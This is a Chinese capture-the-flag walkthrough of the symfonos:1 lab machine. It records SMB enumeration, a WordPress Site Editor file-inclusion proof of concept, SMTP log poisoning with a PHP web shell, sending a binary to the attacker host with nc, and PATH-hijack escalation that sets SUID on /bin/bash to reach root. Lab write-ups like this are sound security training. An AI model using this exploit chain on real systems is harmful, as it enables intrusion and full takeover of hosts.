Linux symfonos

信息搜集

https://yutianqaq.github.io/
赛博雨天

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
|   256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_  256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after:  2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp  open  http        Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Hosts:  symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel

smb

smbclient -L 192.168.31.33
Password for [WORKGROUP\kali]:Sharename       Type      Comment---------       ----      -------print$          Disk      Printer Drivershelios          Disk      Helios personal shareanonymous       Disk      IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
smbclient //192.168.31.33/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir.                                   D        0  Fri Jun 28 21:14:49 2019..                                  D        0  Fri Jun 28 21:12:15 2019attention.txt                       N      154  Fri Jun 28 21:14:49 2019

下载得到内容为

cat attention.txt Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! Next person I find using one of these passwords will be fired!-Zeus
smbclient //192.168.31.33/helios -U helios
Password for [WORKGROUP\helios]:
Try "help" to get a list of possible commands.
smb: \> dir.                                   D        0  Fri Jun 28 20:32:05 2019..                                  D        0  Fri Jun 28 20:37:04 2019research.txt                        A      432  Fri Jun 28 20:32:05 2019todo.txt                            A       52  Fri Jun 28 20:32:05 201919994224 blocks of size 1024. 17304992 blocks available

得到内容为

cat research.txt todo.txt 
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.1. Binge watch Dexter
2. Dance
3. Work on /h3l105

漏洞利用

访问网站目录是一个 wordpress 站

扫描

在这个版本中有文件包含漏洞

验证

** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

view-source:http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

stmp 写入shell

nc 192.168.31.33 25 
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
mail from: test@a.com
250 2.1.0 Ok
rcpt to: helios@symfonos.localdomain
250 2.1.5 Ok
data 
354 End data with <CR><LF>.<CR><LF>
test:
<?php system($_GET['cmd']);?>
.
250 2.0.0 Ok: queued as 0891E40B8C
quit
221 2.0.0 Bye

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping
helios@symfonos:/home$ /opt/statuscheck
/opt/statuscheck
HTTP/1.1 200 OK
Date: Wed, 03 Aug 2022 13:35:19 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/htmlhelios@symfonos:/home$ cd /opt
cd /opt
helios@symfonos:/opt$ ls
ls
statuscheck
helios@symfonos:/opt$ ls -al
ls -al
total 20
drwxr-xr-x  2 root root 4096 Jun 28  2019 .
drwxr-xr-x 22 root root 4096 Jun 28  2019 ..
-rwsr-xr-x  1 root root 8640 Jun 28  2019 statuscheck
helios@symfonos:/opt$ cat statuscheck | nc 192.168.31.134 1234
cat statuscheck | nc 192.168.31.134 1234

将文件传输至 kali,分析文件

是没有使用绝对路径的来执行命令

下面为环境变量提权

helios@symfonos:/opt$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ echo "chmod u+s /bin/bash" > curl
echo "chmod u+s /bin/bash" > curl
helios@symfonos:/tmp$ chmod 777 curl
chmod 777 curl
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
/opt/statuscheck
helios@symfonos:/tmp$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15  2017 /bin/bash

ROOT

helios@symfonos:/tmp$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
bash-4.4# cat proof.txt
cat proof.txtCongrats on rooting symfonos:1!\ __
--==/[})))==*/ \ '          ,|`\`\      //|                             ,|\ `\  //,/'                           -~ |)             _-~~~\  |/ / |'|                       _-~  / ,((            /' )   | \ / /'/                    _-~   _/_-~|(((            ;  /`  ' )/ /''                 _ -~     _-~ ,/') ))           `~~\   `\\/'/|'           __--~~__--\ _-~  _/, 
((( ))            / ~~    \ /~      __--~~  --~~  __/~  _-~ /((\~\           |    )   | '      /        __--~~  \-~~ _-~`\(\    __--(   _/    |'\     /     --~~   __--~' _-~ ~|(  ((~~   __-~        \~\   /     ___---~~  ~~\~~__--~ ~~\~~~~~~   `\-~      \~\ /           __--~~~'~~/;\ __.-~  ~-/      ~~~~~__\__---~~ _..--._;;;;;;;;'  /      ---~~~/_.-----.-~  _.._ ~\     ;;;;;;;'   /      ----~~/         `\,~    `\ \        ;;;;'     (      ---~~/         `:::|       `\\.      |'  _      `----~~~~'      /      `:|        ()))),      ______/\/~    |                 /        /         (((((())  /~;;.____/;;'  /          ___.---(   `;;;/             )))'`))/ //  _;______;'------~~~~~    |;;/\    /                ((   ( //  \ \                        /  |  \;;,\                 `   (<_    \ \                    /',/-----'  _> \_|     \\_                 //~;~~~~~~~~~ \_|               (,~~   \~\~~Contact me via Twitter @zayotic to give feedback!bash-4.4# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/537619.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

国产化三防笔记本丨亿道国产加固笔记本FT-2000/4处理器

国产化加固笔记本是指采用国产操作系统和处理器&#xff0c;通过技术手段对其进行硬件加固、软件加密、数据安全等多方面加强处理的产品。这种笔记本电脑通常被用于政府项目、金融行业等对安全性要求极高的领域。 在国产化加固笔记本中&#xff0c;硬件加固是重要的一环。为了保…

SAP CAP篇十四:写个ERP的会计系统吧,Part I

本文目录 本系列文章目标程序框架使用CDS CLI创建程序创建公司主数据数据库表设计初始数据初始数据&#xff1a;Country初始数据&#xff1a;Currency初始数据&#xff1a;Language Service 定义生成Fiori AppApp运行 本系列文章 SAP CAP篇一: 快速创建一个Service&#xff0c…

day57 动态规划part17● 647. 回文子串 ● 516.最长回文子序列● 动态规划总结篇

如果大家做了很多这种子序列相关的题目&#xff0c;在定义dp数组的时候 很自然就会想题目求什么&#xff0c;我们就如何定义dp数组。 布尔类型的dp[i][j]&#xff1a;表示区间范围[i,j] &#xff08;注意是左闭右闭&#xff09;的子串是否是回文子串&#xff0c;如果是dp[i][j…

先进电气技术 —— 片上宽禁带器件的集成与应用

一、背景 功率转换器设计的一个关键目标是降低功率损耗以提高转换效率&#xff0c;这对可再生能源等应用产生影响。通过降低功率损耗&#xff0c;可以减小变换器元件的尺寸&#xff0c;从而使整个变换器的尺寸更小。因此&#xff0c;转换器的大小和成本完全取决于设计要求和应…

【C++】STL--String

这一节主要总结string类的常见接口&#xff0c;以及完成了string类的模拟实现。 目录 标准库的String类 string类常见接口 string类对象的常见构造 string析构函数&#xff1a;~string string类对象的容量操作 string类对象的访问及遍历操作 string类对象的修改操作 s…

防火墙中的SNAT 与DNAT

SNAT&#xff1a;让内网机器可以访问外网服务器 DNAT:让外网机器可以访问内网服务器 SNAT的原理 源地址转换&#xff0c;根据指定条件修改数据包的源IP地址&#xff0c;通常被叫做源映射 数据包从内网发送到公网时&#xff0c;SNAT会把数据包的源IP由私网IP转换成公网IP 当响应…

前端项目,个人笔记(一)【定制化主题 + 路由设计】

目录 1、项目准备 1.1、项目初始化 1.2、elementPlus按需引入 注&#xff1a;使用cnpm安装elementplus及两个插件&#xff0c;会报错&#xff1a;vueelement-plus报错TypeError: Cannot read properties of null (reading isCE ) &#xff0c;修改&#xff1a; 测试&#…

旅游管理系统|基于SpringBoot+ Mysql+Java+Tomcat技术的旅游管理系统设计与实现(可运行源码+数据库+设计文档+部署说明+视频演示)

推荐阅读100套最新项目 最新ssmjava项目文档视频演示可运行源码分享 最新jspjava项目文档视频演示可运行源码分享 最新Spring Boot项目文档视频演示可运行源码分享 目录 前台功能效果图 用户功能 管理员功能登录前台功能效果图 系统功能设计 数据库E-R图设计 lunwen参考 …

【MySQL】MySQL索引特性

文章目录 一、没有索引&#xff0c;可能会有什么问题二、认识磁盘1.MySQL与存储2.磁盘 三、MySQL与磁盘交互基本单位四、索引的理解五、索引操作1.创建主键索引2.创建唯一索引3.创建普通索引4.查询索引5.删除索引6.使用案例7.创建全文索引8.索引创建原则 一、没有索引&#xff…

前后端交互理解 简易表白墙(servlet)

前后端交互理解 简易表白墙&#xff08;servlet&#xff09; 文章目录 前后端交互理解 简易表白墙&#xff08;servlet&#xff09;后端核心内容前后端交互接口约定后端代码展示 上期介绍过 Servlet API &#xff0c;本篇文章目的是借助 servlet 做出一个完整的网站。在一个网站…

GooGLE留痕助手是什么?#川圣SEO#蜘蛛池

baidu搜索&#xff1a;如何联系八爪鱼SEO&#xff1f; baidu搜索&#xff1a;如何联系八爪鱼SEO&#xff1f; baidu搜索&#xff1a;如何联系八爪鱼SEO&#xff1f; Google留痕助手&#xff0c;也被称为Google搜索留痕&#xff0c;是一种搜索引擎优化&#xff08;SEO&#x…

线性代数 --- 特征值与特征向量(下)

特征值与特征向量 Eigen Values & Eigen Vectors Part III:如何求解特征向量与特征值 The Key Equation 对于一般矩阵A&#xff0c;如何找到他的特征值与特征向量&#xff1f; Step I: Find λ first! 首先&#xff0c;我们有方程&#xff1a; 但这里有两个未知数&…